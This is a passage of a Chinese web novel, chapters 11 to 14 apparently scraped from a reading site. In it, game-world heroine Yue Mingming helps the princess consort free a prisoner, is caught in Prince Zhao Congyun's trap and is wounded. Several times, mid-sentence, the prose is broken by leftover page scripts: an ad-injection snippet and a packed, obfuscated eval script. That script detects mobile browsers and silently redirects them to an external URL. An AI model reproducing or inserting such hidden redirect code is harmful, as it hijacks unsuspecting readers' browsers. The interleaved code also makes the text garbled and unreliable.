实际上岳明明根本没想躲。 不知为什么,她生出一种奇怪的赌气情绪,就是不想在赵琮昀面前示弱逃跑。 沉塘……她倒要看看,怎么个沉法! 她带着系统,懂一点三脚猫功夫,还有一颗“三无”药丸…… 这是她在游戏里的全部。 菜是菜了点,可都是属于她自己的东西,不需要看人脸色活命! 此刻岳明明哪里知道,赵琮昀藏在长袖中的另一只手,正在缓缓握紧。 他在赌,赌她这一次为了活命,可以坦白自己所有的秘密。 哪怕她是条冻僵的蛇,他也可以接受。 可他受不了她敌友不分的身份,受不了她有太多行为无法解释…… 他要借李凭如,逼她一把! “王爷!此间一定有误会!”眼看岳明明要被拉走,赵琮昀毫无反应,东叔急道。 “死就死,总比忍受你的阴阳怪气强。”岳明明轻声道。 “你总是这样,真的很讨厌。” 攥紧的手,倏地松开。 赵琮昀被她兜头浇下一盆冷水,怒火熄了,心也跟着凉了。 他喉结滚动,刚想开口拦住李凭如,就见参园外又有人到了。 众人闻声看去,竟是苏定柔! 岳明明心想,她也要来踩自己一脚? “王妃怎么来了?”李凭如脸色微变,勉强陪笑道:“岳娘子与人私会,被我逮个正着,王爷与我正要发落她……” “嗯,听说了。” 苏定柔依然是一副冷淡模样,面无表情道:“不过内宅的事,说到底还是我这个王妃当家,处置妾室这种事,就不劳烦你了。” “……” 李凭如被噎得愣住:“你要如何处置?” “不用你管。”苏定柔似乎不愿跟她多话,直接吩咐道:“人我先带走了。” 她带来的婢女也是火爆性格,上去就要抢人,李凭如那边当然不肯撒手,岳明明顿时被扯成人形皮筋,衣衫都乱了套。 “停手!”赵琮昀怒斥道:“把她放开!” 婢女不敢再动,只有李凭如不肯罢休:“王爷已经发落了她,难道王妃要忤逆王爷的意思?” 苏定柔转头去看赵琮昀:“沉塘是你的意思?” 赵琮昀与她对望一眼,若有所思。沉默半晌后,他吩咐道:“把人交给王妃。” “王爷!”李凭如气得大叫:“你明明同意了……” 赵琮昀不理她,目光瞥见岳明明凌乱的衣衫,冷冷道:“记得给她换件衣服,死也要死得体面些。” 苏定柔漠然转身:“知道了。” 岳明明心想,是该换身衣服的,不知何时,她的后背已被冷汗湿透了。 * 回到澄怀斋,岳明明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并没有如想象中被关起来,婢女带她梳洗换衣,再出来时,厅中传来一阵辣气腾腾的饭菜香。 案上两道小菜犹带锅气,回锅肉,麻婆豆腐,配了两碗米饭,粒粒晶莹。 岳明明食指大动,咽着口水道:“王妃姐姐……这是你做的?” 苏定柔袖口高挽,额角微汗,大约是刚炒完菜,整个人平添了几分烟火气:“上次见你喜欢吃辣,与我也算同道中人,要不要一起吃?” 岳明明使劲点了点头。 想到刚刚差点被那对狗男女坑死,委屈情绪涌上来,她终于辩解道:“我还以为你要像他们一样罚我……王妃姐姐,我真的没跟人私会!” “我知道。你无须解释。” “你……相信我?!”岳明明直接感动出眼泪。 苏定柔点头,将一碗米饭推到她面前:“别哭了,吃吧。” 岳明明拿起筷子,想了想又放下:“我能问一句,你为什么相信我吗?” 苏定柔微微一笑:“因为私会的那个人,是我。” ………… 岳明明目瞪口呆。 如此自爆猛料,姐姐你是疯了吗? 苏定柔脸上依旧没什么表情,只在夹起一片回锅肉的时候,略略遗憾道:“京城这边的豆豉,还是不如蜀中的好吃。” 岳明明:“……” 喂喂喂,要不要尊重一下听众!这种八卦怎么能只说一句就完了呢? 她鬼鬼祟祟环视一周,发现四下无人,婢女们都被打发掉了,这才悄声道:“所以上午你出门,是故意掩人耳目,后来又偷偷回来了?你们为什么不直接约在外面呢?” 苏定柔也不隐瞒,直白道:“你很聪明。他来府里,是有事情要办。” 岳明明忍得抓心挠肝,最后还是脱口而出:“我能不能问一下……‘他’是谁?” 不知是岳明明此刻的样子很好笑,还是因为提到那个男人,苏定柔眼里终于亮起盈盈笑意:“你们昨夜见过。” 岳明明好抓狂! 大姐你是牙膏吗?我问一句你挤一点! 可不知怎的,她脑中忽然闪出一道气宇轩昂的身影—— 昨夜虽与那人只有一面之缘,可岳明明就是直觉,只有如此出众的青年,才配得上云淡风轻的苏定柔。 “是巡防营那位将领……沈宗吾?” 苏定柔笑弯了眼睛:“记性不错。” 岳明明觉得这顿吃不下去了。她此刻需要的不是食物,是源源不断的八卦,是一对有情人被命运拆散的凄婉故事,是赵琮昀如何被戴绿帽这种大快人心的细节…… 苏定柔见她不肯动筷,轻轻叹道:“早知道吃过饭再跟你讲了,白白浪费两道好菜。” 可岳明明忽然想到一个重要问题:“王妃姐姐……你为什么要告诉我这件事?” 就因为她被冤枉,所以苏定柔心怀愧疚? 事情恐怕没这么简单! 在赵琮昀身边待过几天,岳明明不再像从前那般单纯,心里暗暗生出戒备。 苏定柔抬眼,目光澄澈:“我需要你帮我一个忙。” “昨晚赵琮昀在玉湖抓了一个老人,现在关在参园,我想请你帮我救他出来!” 12. 第 12 章 岳明明疑惑:“那老头不是刺客吗?” 苏定柔摇头:“宗吾告诉我,那是个了不起的人,跟刺杀你们的那些人不一样。” “……”岳明明弱弱地问:“王妃姐姐,你是不是压根就不认识那老头?” “我虽不认识他,但我相信宗吾。”苏定柔理直气壮道。 岳明明无语。 敢情这位还是个恋爱脑! 岳明明努力措辞:“姐姐,我不是不想帮忙……可王爷那个人,你知道的,被他发现,非扒了我的皮不可!” 在赵琮昀眼皮底下放人,她还不如去自杀来得痛快些。 苏定柔认真道:“会吗?我还以为他很在意你。” 岳明明搞不懂她是怎么看出来的,只觉这位王妃大概在府中呆傻了,思路清奇,眼光也不太正常。 ……如此想来,那姓沈的,不会是个骗子吧? 勾搭不谙世事的苏定柔,只为接近王府,让她找机会帮忙救人! 岳明明很喜欢苏定柔,觉得有必要替她把把关,便问道:“王妃姐姐,你和沈将军之间,到底是怎么一回事?” 苏定柔笑意微敛:“这很重要吗?” 岳明明:“既然你要我帮你,我至少要确认一下,他值不值得。” 苏定柔沉默半晌,点点头:“其实也没什么不能说的……宗吾与我,算得上青梅竹马。我小时候在川蜀那边长大,他家与我父母有旧,我们年龄相仿,便一块读书作伴,当时未曾多想,只是习惯了身边有彼此照应。 “后来我父母出事,祖父派人接我进京,他不放心,便一路跟着,一直把我送到京城,然后就默默打马离开了。 “从始至终,他什么都没说,我碍于女儿家的矜持,便也什么都没问。” 岳明明从她淡淡的语气中,听出了难以掩饰的惆怅与遗憾。 川蜀到京城,千难万险,少年一路护送,再孤身返程,这比任何表白都令人动容。 可惜两人都是含蓄自持的性子,缺少了一点勇气或运气,始终没能捅破那层窗户纸。 “后来呢?”岳明明禁不住追问。 苏定柔道:“……后来我按祖父的意思成了亲,以为此生再也不会见到他,可他却突然出现在京城,成了巡防营的一名将领。 “说出来你可能不信……今日之前,我们从未私下见过,这么多年,连书信都没通过一封。” 岳明明惊呆:“那你还愿意冒这么大的风险与他见面,帮他救人?!你就不怕他变心了,或者在利用你?” 苏定柔自嘲地笑道:“我身在这座牢笼之中,若能有一点被利用的价值,也是开心的……至于他现在心在何处,我无权过问,他肯来找我,我就肯帮他。” 她眼中的光重新亮起,语气笃定:“就当回报他当年千里相送的一份情谊吧。” “所以,无论你提出什么条件,我都答应你,只要你肯帮我!” 她目光之恳切,让岳明明有些不知所措。 岳明明心想,这哪里是报恩,分明就是日日思慕却说不出口的爱情啊! 要陪他们一起疯吗? 下一刻,赵琮昀讥诮的冷脸忽然出现在脑海中,岳明明一个激灵,瞬间恢复理智。 还是小命要紧! 可她又不忍心拒绝,于是委婉道:“姐姐你是王妃,在府里救人肯定比我方便……赵琮昀根本不信任我,我虽然身在参园,却处处受制于人,根本不是你们看到的那样。” 想到这里,她干脆投桃报李,将自己和赵琮昀之间的交易,一五一十讲给了苏定柔。 “原来如此。”苏定柔轻轻点头,眼神却别有意味。 “他……给你写过休书?” 岳明明在她眼里看到了……羡慕? “你不会想改个名字,自己用吧?”岳明明开玩笑道。 “你觉得可行吗?”苏定柔认真道:“我很擅长模仿别人笔迹……” 岳明明实在没忍住,扑哧一声笑出来,苏定柔见她笑得灿烂,也跟着弯起了嘴角。 两个女孩之间,忽然就生出了惺惺相惜的友情。 笑过之后,岳明明忍不住继续八卦:“你既然不喜欢赵琮昀,为什么要嫁给他呢?” 苏定柔眸子黯了黯:“我们之间也算各取所需……当时皇后正准备给他和李凭如赐婚,我恰好被京中一个有权有势的无赖纠缠,于是他找到我祖父,商议出这么一桩婚事。” 岳明明记起来,系统的确提过赵琮昀与人打架之事,原来他根本不是为爱冲动,而是一场有预谋的交易。 她忽然意识到,好像赵琮昀身上所有的风流轶事,都是他故意为之。 “……可李凭如还是嫁给他了。” 想到他千算万算,仍敌不过皇后一句懿旨,岳明明竟有些替赵琮昀难过。 “嗯……从那时起,他就彻底搬进参园,除了东叔,几乎不许所有人进去。”苏定柔忽然看她:“不知为何,你却成了例外,所以李凭如才会更恨你。” 岳明明:“我怎么这么倒霉!” 苏定柔叹息道:“原本我们三人互不打扰,倒也相安无事,现在你被李凭如当成活靶子,王爷又阴晴不定,你未来的日子恐怕不好过……我会尽力帮你,但我虽是正妃,家世到底差一截,恐怕没办法事事护你周全。” 岳明明心头一暖,鼻子微微发酸。 偌大王府,她终于找到了一个愿意理解她、帮助她的人。 她看得出来,苏定柔并非要以此作为谈判筹码,而是真的在替她着想。 士为知己者死,何况帮个忙? 岳明明热血上头道:“你刚刚说的那件事,我帮你!” “真的吗?”苏定柔眼睛顿时一亮:“我一定不会让你有危险……你只要找出人关在哪里就行,剩下的交给我和宗吾。” 岳明明沉吟片刻道:“姐姐,我劝你不要参与进来。此事牵扯的人越少越好……只要我和沈将军就够了!你放心,就算被赵琮昀发现,我也有些自保方法。” 苏定柔摇头,惨然一笑:“我已经什么都不怕了。从前是我不够勇敢,以至于错过太多,这次我想跟你……还有他,共同进退。” 她脸上的决然之色,让岳明明心头一颤,忽然生出一个更大胆、更疯狂的念头! “姐姐,你此生还想不想……跟沈将军在一起?”岳明明缓缓道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13845382|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 苏定柔呆了一下,眼里骤然闪出炙烈的渴望,那是岳明明认识她以来,从未在她身上见过的鲜活之色。 “想!” 苏定柔紧咬嘴唇,语气前所未有的笃定。 想到欲念疯长,理智决堤,仅仅收到他见面的字条,就不顾一切地应下来。 想到人生只剩下悔与恨两种情感,一遍遍设想如果当年她开了口,结局会不会不一样。 “那我来帮你跟王爷和离。” “……为什么?”苏定柔不敢置信。 “你离开,我就能当王妃了呀!”岳明明笑容真挚,语气却真假难辨。 她想起了系统给她的升级任务—— 如果苏定柔收获爱情,她拥有王妃身份,武力值跟着提升,李凭如也不敢再拿她当软柿子捏了…… 一举四得! “可就算我走了,还有李凭如……” 岳明明笃定道:“这个我有信心,赵琮昀就算选我,也不会选那位的!” “我们一言为定!” 苏定柔双眼盈泪,深深点头。这一刻,她感觉自己又活过来了。 * 一份薄薄文书,赵琮昀看了小半个时辰。 东叔终于忍不住,在旁轻咳了一声。 “王爷若是倦了,不如早点休息……如果睡不着,也可以在府中走走。我瞧澄怀斋那边还亮着灯,应该尚未歇息。” “……” 赵琮昀假装没听见,将文书扔在桌上,起身来到窗前:“月色不错。” 然后他便若无其事向外走去,不是卧房,而是澄怀斋方向。 东叔微笑,正要跟上,就听赵琮昀冷冷的声音飘来:“我自己去……你不必跟着。” 赵琮昀突然出现,澄怀斋里里外外都吓了一跳。 “我来看看,王妃是怎么处置岳氏的。”赵琮昀淡淡道:“人呢?” 本该被“处置”的岳明明,正和苏定柔一边嗑瓜子,一边天南地北闲聊。 她严重怀疑,有人通风报信,告诉赵琮昀她此刻正在吃香喝辣,所以债主找上门来。 苏定柔也很意外。入府以来,她和赵琮昀保持着一份疏离的默契,除了重要日子吃顿饭,赵琮昀从不踏足她的住处。 今天抽了什么风? “这人怎么就没一刻消停?”岳明明气道:“他不会后悔了,又想把我沉塘吧!” 苏定柔轻轻一笑:“他虽有城府,还不至于如此待你。咱们出去看看,再做计较。” * 赵琮昀一袭青色锦袍,长身玉立,与院中翠竹相映生辉。 原来他止步庭院,并未入室。 见两人出现,他漆黑的眸子闪过凛冽笑意:“王妃太过仁慈,似乎不知道如何惩戒妾室……既然如此,还是我把她带回去吧。” 他转向岳明明:“你是打算就这样跟我走,还是待我找人把你绑回去?” 岳明明很想撒泼打滚赖在这里,可她答应了苏定柔,就必须回去想办法。 苏定柔却皱眉道:“你要将她怎样?” 赵琮昀唇角勾起:“……我自有我的方法。” 13. 第 13 章 秋夜深沉,冷露无声。 遥远街巷时不时传来打更人“夺夺”的敲梆声,惹得人心一阵怅然。 岳明明蔫头耷脑跟在赵琮昀身后,保持着不远不近的距离。 夜晚的王府不似白日清明,赵琮昀又专挑小路,沿途只有几点萤火灯光,晦暗莫测,岳明明深一脚浅一脚,几次差点被凸出来的石头绊倒。 这小气鬼,绝对是故意的! 岳明明埋头走得小心,双目恨不得瞪成猫眼,结果地面倒是看清了,迎面却一头撞上了冤家。 赵琮昀不知何时停下脚步,抱臂而立,眉眼舒展,正似笑非笑地看着她。 “找什么呢?钱袋子掉了?” 岳明明惊得退后,将骂人的话咽在肚子里,怒气冲冲看他,一语不发。 赵琮昀唇角笑意隐没,准备伸过去扶她的手臂也僵在半空。 “怎么不说话?”他声音冷下去:“我没听说,嗑瓜子还能嗑成哑巴!” 果然有人告恶状!岳明明心想,她得提醒苏定柔,澄怀斋里出了奸细! “你那是什么表情?不服气?” 说话间,赵琮昀长臂探出,修长手指轻轻刮过她耳畔的碎发,未等岳明明反应过来,那只手却已收回。 岳明明像被烫了似的应激道:“你干嘛!” 赵琮昀摊开掌心,里面是一片剥开的瓜子壳,外黑内白,油光水滑。 “咳咳……”岳明明脸颊有些发烫。 赵琮昀:“不想被沉塘的话,回去就规矩些。至于惩罚……总不能让你去打扫庭院,”他故意停顿半晌,低声道:“要不,就罚你亲手绣一枚香囊,如何?” “我选扫庭院!”岳明明急道。 谁敢再跟她提香囊,她就去死好了…… 扫庭院虽说辛苦,但她可以借这份差事,寻找园中的关押之所,简直正合她意! 赵琮昀眸底划过一道复杂的愠色:“这种下人的活计,不委屈吗?” “真的不选绣香囊?” “不了……我觉得很适合我。”岳明明努力摆出客气的假笑。 “很好。”赵琮昀定定盯了她几秒钟,转身拂袖而去。 不知这位狐狸又被哪句话踩中了尾巴,一脸的不高兴。 岳明明不想独自被扔在漆黑夜路上,只好踉跄追赶,没想到赵琮昀快步走出一段距离后,又停了下来,留给她一道挺拔的背影……作为“路标”。 几番来回,岳明明干脆放慢脚步,却发现“路标”也跟着慢下来,总是恰好停在她看得见的地方,默默等她。 ……世上怎会有如此别扭的人! 岳明明又好气又好笑,嘴角不自觉地扬了起来。 * 翌日清晨,天刚蒙蒙亮,东叔就给岳明明送来了洒扫庭院的工具。 “王爷特意嘱咐,要我清早交给你。” 岳明明揉着困倦的眼睛,连起床气都没力气发,认命地接过工具,开始了她的王府保洁生涯。 结果第一日毫无收获。 赵琮昀亲自派下一堆任务,连廊庭下的鸟窝都没放过,岳明明只好真的干了一整天活,晚上累得腰酸背疼,倒头就睡。 第二日赵琮昀不在,岳明明终于有机会在园中闲逛,陆续摸清了参园布局。 赵琮昀的书房和卧房位于园子中央,南边是一片种满花草的庭院,以回廊相连,直通入口假山。 西北侧只有几间下人房,东边则是一间小厨房,单独供应赵琮昀的日常饮食。 岳明明摸进厨房,连灶台都仔细检查了一遍,却没发现任何藏人的痕迹。 晚上她躺在床上,在脑海中一遍遍回忆园中所见所闻,实在找不出线索。 难不成……赵琮昀把人关在自己卧房? 这就有点变态了吧! 岳明明摇头。赵琮昀虽然变态,却是个规矩多、有洁癖的变态。金屋藏娇他可以,藏一个血淋淋、臭烘烘的囚犯……不可能的! 她苦思冥想,用脑过度,肚子先扛不住了,咕噜噜抗议起来。 岳明明起身抓了两块糕饼,吃着吃着,忽然有了思路—— 囚犯也会饿肚子,也要吃饭的! 赵琮昀再谨慎,总不能凭空变出食物,所以一定有人负责给关押者送饭。 只要顺藤摸瓜,就能找到人了! 岳明明高兴地在床上打了个滚,将最后两口糕饼塞进嘴里,翻出新买的夜行服速度换好,蹑手蹑脚出了门。 飞檐走壁的功夫没搞明白,她却要先学八卦记者蹲点了…… 果然是侠女的心,狗仔的命! 岳明明思忖,白日她在厨房附近并未瞧见可疑的人,那么为了掩人耳目,送饭时间很可能选在晚上。 她避开赵琮昀住所,无声无息潜行到厨房外,悄悄藏入一丛花树间,开始默默等待。 此刻夜深人静,园中连虫鸣声都寥寥,赵琮昀书房和卧房更是漆黑一片。 岳明明洒扫时听人提起,王爷今晚要留宿邀月楼。 不知赵琮昀和那个叫“姜欢”的女子之间,究竟是真的感情,还是制造给外人看的假象呢? 她正胡思乱想,身后突然传出一阵细微的脚步声。 果然有人来了! 岳明明屏住呼吸,凝眸细看,就见一名黑衣布甲的男子,轻手轻脚闪进了厨房。过了一会儿,再出现时,他手上多了两份食盒。 之前在玉湖捉拿刺客时,岳明明见过这副打扮,他们是赵琮昀豢养的暗卫。 看来这人就是今晚的送饭者! 岳明明估摸着距离,远远跟住。 那人走得速度很快,好在岳明明对园中各条小路已熟稔在心,像个尽职尽责的尾巴,始终没被甩掉。 走着走着,岳明明心底微微一沉,这是出园子的路……难道赵琮昀把人藏在外面? 那可就难办了! 好在她担心的事并未发生。在参园入口,那人身影倏地隐没在一块山石后,岳明明揉了揉眼睛,确定此人真的凭空消失了! 这里有机关?! 岳明明不敢过去检查,只能远远躲着,足足守了半个多时辰,都没见那人出来。 她对机关一窍不通,系统对此也爱莫能助。于是她谨慎地记下位置,悄无声息原路绕了回去。 明天要赶快通知苏定柔和那位沈将军……岳明明想着,打个哈欠,翻身沉沉睡去。 房梁之上,一道黑影待屋内安静后,飘然离去,连鸟都不曾惊起一只。 * 隔日,岳明明将消息送出去后,开始了焦急的等待。 可直到掌灯时分,园内依然安安静静,不仅没人闯进来,赵琮昀和东叔也没回来。 她在房间待得心烦意乱,干脆换上夜行服,又朝山石机关那边摸了过去。 事不关己从来不是岳明明的性格。她决定了,如果今晚沈宗吾不来,她就自己寻找机关,先溜进去看看。 这次她没有等太久,一名暗卫从山石后转出来,快步往厨房去了。 岳明明心中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13856578|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜,正要趁机上前,手腕忽然被人从后面扣住。 身后有人?! 岳明明头皮一阵发麻,她居然毫无察觉,让人黄雀在后地逮了个现行! 是赵琮昀?东叔?还是埋伏的暗卫? 就听那人悄声道:“是岳娘子吗……我是沈宗吾。” “……”岳明明转头,果然看到少年将军那张剑眉星目、英气十足的脸。 “你什么时候躲在我身后的?”岳明明惊讶地问。 沈宗吾略带歉意地笑道:“待了有一会儿了……没想到岳娘子还懂隐蔽追踪的功夫。” 岳明明心说,我们那个时代,狗仔都这样! “咱们进去看看?”她建议道。 “稍等。”沈宗吾带她重新潜回草丛,等候片刻,又有一道人影潜了过来。 不是刚才的暗卫,是个从未见过的陌生青年。 这青年生得黝黑粗犷,动作却极轻,颇有几分张飞似的胆大心细。 岳明明想起来,东叔说过,当时藏在水底的是一老一少,老者被抓,年轻的跑掉了。 “这是我们要救那位老人的儿子,孙承。”沈宗吾介绍道。 孙承沉默地朝岳明明点了下头,算是打过招呼,转脸对沈宗吾道:“沈大哥,那名暗卫被我解决了。” “岳娘子,大恩不言谢!接下来交给我们,你快回去吧,就当什么都不知道。” “……那苏姐姐呢?”岳明明知趣地没提“王妃”二字。 沈宗吾眸光微暗,默然不语,孙承替他回答道:“她拿着王府的令牌,在城门口接应我们。” “……”岳明明又惊又怒:“你们疯啦,让她做这样的事!万一被发现,她不光声名毁了,连命都可能丢掉!” “我们又没有逼她,是她自愿的。”孙承冷冷道。 岳明明闻言更气了,恶狠狠瞪着沈宗吾:“你就这么利用她对你的感情……你对得起她吗?太卑鄙了!” 她现在非常后悔帮这个忙,恨不得立刻倒戈,把赵琮昀放出来,以恶制恶! 沈宗吾郑重道:“此番实属无奈,将来有机会再向岳娘子解释!请你放心,就算我沈宗吾万劫不复,死无葬身之地,也一定不会让她出事!” 岳明明被他眼中坚定而疯狂的目光震慑到,愣愣说不出话。 孙承急道:“快走!别再耽误时间了!” 沈宗吾对岳明明抱了抱拳:“保重。” 两人顺着山石很快找到机关所在。扭转后,只听咔哒脆响,地面缓缓露出一片黑漆漆的台阶,似乎通往地下。 他们毫不犹豫走了进去。 岳明明一个人孤零零站在几米外,心里莫名慌张。 他们能救到人吗?城门口的苏定柔会不会有事?最让她担心的是,赵琮昀为什么还没回来…… 她直觉自己想得过于简单了。 以赵琮昀的思虑周全,会把这么重要的俘虏,留在几乎空无一人的园子里,自己跑去花天酒地吗? 外人眼里的赵琮昀也许风流纨绔,可岳明明见识过他演戏的本事,深知他绝不是不务正业的人。 她越想越不对,那个漆黑的入口,太像一个陷阱了…… 想到冷风中苦苦守候的苏定柔,岳明明把心一横,追着两人的脚步下了台阶。 眼前是无边无际的黑暗,岳明明吓得奔跑起来,可还是来不及叫住两人。 台阶尽头,黑暗深处,熟悉的声音随灯光一同亮起。 “很好,又有鱼上钩了。” 14. 第 14 章 烛火通明的密室里,站了黑压压一排暗卫,沈宗吾和孙承颈上各横长剑,动弹不得。 在所有人身后,赵琮昀白衣胜雪,一尘不染,从容拨弄着手中香炉。 “鱼儿全部落网,城门口那位,也该请回来了。”他淡淡吩咐。 ……他居然全都知道! 岳明明大脑宕机了两秒钟,回过神后,焦急看向沈宗吾—— 事情败露,苏定柔怎么办?! 沈宗吾脸色剧变,他挣扎着向前,剑锋划破皮肤,血滴滴答答往下淌,他却毫不在乎,眼神灼灼道:“你放过她!她是被我胁迫,你要杀要剐冲我来!” 赵琮昀不动如山,讽刺道:“沈将军真会开玩笑,你勾结刺客,谋害皇亲国戚,本就是死罪,拿什么在这里替别人求情?” “好……我没资格求你……那是否可以看在老太傅面子上,不要降罪于她。”沈宗吾声音沙哑,说到最后,已是哀求语气。 赵琮昀笑而不语。 比起考虑,更像一种赤裸裸的戏耍。 岳明明看不过去了——他自己三妻四妾,有什么脸怪苏定柔给他戴绿帽? 她暗暗朝沈宗吾方向挪过去,赵琮昀目光如炬,冷冷扫过来,注视着她那一身让人无法忽视的夜行服,脸上笑容倏地消失了。 ”我劝你不要乱动!这里不是给你胡闹的地方……你那笔账,待会儿我自会找你算!” 岳明明假装没听到,仍往剑丛中走去。 暗卫们训练有素,没有主人命令,就算来的是皇帝本人,长剑也绝不能后撤。 眼见少女纤薄身体就要撞上剑尖,赵琮昀忍不住喝道:“拦下她!” 他抑制不住地怒火中烧:“他们给了你什么好处,让你疯得连命都不要了!” “我不是冲他们,是为苏姐姐!王爷记得吗……那日若是没有苏姐姐,我就被你和你的侧妃沉塘了。”岳明明镇定道。 赵琮昀喉头滚动了一下:“所以你打算赔上一条命,跟他们一起去死?真是有情有义……愚蠢至极!” “不,你舍不得我死。” “……” 赵琮昀没想到她会说出这样的话,他顿了一下,复又冷笑起来:“你似乎对我们之间的关系有什么误会……我不知道你哪来的自信,当自己这么重要……” “不是我重要,是我背后的秘密,你不是一直想知道吗?” 岳明明微微一笑:“我那份漕运记录从何而来,我又是怎么知道杏儿的身世,还有我费尽心思想要留在王府,到底要做什么……如果我告诉你实情,你能不能放了苏姐姐?” 赵琮昀沉默,脸色前所未有地沉郁。 岳明明在这个节骨眼,抛出了一个足够重量级的筹码。 连他自己都觉得难以理解,他为什么如此执著地想知道这一切? 他本该拒绝,可他说不出口。 岳明明见他心动,继续加码:“你暗中调查漕运贪腐,却迟迟没有动静,估计查得不太顺利吧……我既然能给你那份记录,也能帮你继续调查!” “王爷,你觉得江州受灾百姓重要,还是你的面子重要?” 赵琮昀突然像被人掐中了七寸,一句反驳的话都说不出来。 众人闻言纷纷侧目,连沈宗吾和孙承都震惊地看向她。 这时,一直沉默的孙承忽然开口:“你怎么知道漕运贪腐的事?你究竟是谁?” “我父亲是负责漕运的通判岳兆封。”岳明明道:“所以我知道很多你们查不出来的秘密。” 孙承黝黑脸庞登时浮起一抹愠红:“想不到……你竟是那狗官的女儿!” 岳明明此刻脑袋正在疯狂运转,思考怎么继续忽悠赵琮昀,根本没注意到这位人质骤然变了脸色。 她随口应道:“是啊……你认识我父亲?” “好好好!苍天有眼!不枉我父子进京一趟!”孙承突然暴喝一声,脖颈堪堪避过剑锋,双臂猛地一振,使出一记猛虎掏心,掏的却是毫无防备的岳明明! 岳明明本就在剑丛之中,离他不过两三步距离,哪想过自己这个怂包还没倒戈,这位黑脸“张飞”倒先窝里反了! 她一声尖叫还没来得及喊出,就被孙承重拳砸在胸口。 “孙承你干什么!”沈宗吾吼道。 东叔最先反应过来,身形如电,眨眼闪到孙承面前,抬手刷刷刷封住他三道大穴,阻止他继续攻击。 那边岳明明重重摔在地上,脸色白里透青,唇角沁出血迹,一双眸子又惊又怕,不受控制地涌出泪水。 奶奶的!太疼了! 胸口剧痛犹如万箭穿心,她迫不得已,只能大口呼吸,可还是感觉眼前越来越黑。 人影晃动,脚步嘈杂。 就在岳明明渐渐失去知觉的时候,忽然身体一轻,似乎被人抱在怀中,鼻端隐隐嗅到清冽的松雪气息。 她很熟悉那是谁的味道。 “苏姐姐……”她努力发出声音,想让他听见。 “先管好你自己!”赵琮昀又怒又急,顿了顿,似乎怕她担心,还是补充了一句:“我不追究便是。” * 从昏迷中醒转,岳明明心里藏了一丝期待,有没有可能……回到现实世界了? 系统适时出现,泼来一瓢冷水:“玩家请注意,您的游戏时间不足一小时,如果意外死亡,可能会造成无法挽回的危险,请务必注意安全!” ……岳明明气得胸口又疼起来。 是她不想注意安全吗?谁能料到那位大哥突然暴走,把自己的同伙当沙袋打! 她死死闭着眼睛,拒绝在这个讨厌的游戏世界醒来。 大概因为她忍不住叹息了一声,身边突然响起细细簌簌的声音,有人走过来,默默坐到了她的床边。 岳明明轻易就嗅出了来者身份,她忽然有点紧张,更不敢睁眼。 他怎么在这里?他要干嘛? 可赵琮昀什么都没做,只轻轻为她掖好了被角,然后……就坐在那里看她。 岳明明连呼吸都慌乱起来—— 大哥,你这习惯很吓人啊! 沉默了好半天,赵琮昀终于忍不住轻笑一声:“醒了?那就别再装死了!” “你故意的?!”岳明明气道。 她豁然睁开眼睛,一双眸子仍旧水灵灵圆滚滚,熠熠有光。 如往常一样,生机勃勃瞪他。 赵琮昀眼里闪过一抹疲惫的满足,岳明明再想细看,却被他隐了去,恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13871122|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷定矜持的模样。 “东叔替你把过脉,算你命大,好好休养一段时间即可。” 他起身坐去窗边,岳明明这才看到,桂枝半掩的窗口,依稀映着一弯残月。 “我躺多久啦?” “一天一夜。”赵琮昀抿了口凉茶。 “……你没为难苏姐姐吧?”这是岳明明此刻最关心的问题。 “昨夜暗卫就把她送回澄怀斋了。” “沈将军呢?你把他怎么样了?” 赵琮昀面露不悦,却耐着性子道:“放了。” 岳明明震惊,小气鬼会这么好心?! 赵琮昀扫她一眼,冷冷道:“如果一直扣着他,巡防营那边不好交待。何况,王妃还在府里。” 是了!只要苏定柔还在王府,沈宗吾就什么也做不了,只能任由他摆布! 岳明明想到自己承诺过帮苏定柔和离,小心翼翼地试探:“喂,你也看出来……人家两个是真爱了吧?” 赵琮昀眸光一凛:“我看你还是昏迷比较好。” 岳明明叹息,看来那对苦命鸳鸯的爱情之路,以及自己的升级之路,注定不好走了。 她揉揉发闷的胸口,试着从床上爬起来。赵琮昀见状大步跨过去,虚扶她一把,沉声道:“我劝你这几日安生些,我可没有那么多灵犀丹给你浪费。” “灵犀丹?”岳明明好奇。 赵琮昀淡淡道:“没什么。” 岳明明心道有鬼,悄悄问系统:“帮我查查,灵犀丹是什么东西?” “灵犀丹是前朝药圣的毕生得意之作,死前只留下六颗,每颗价值连城,据说可以医死人、肉白骨,是最好的救命药。” 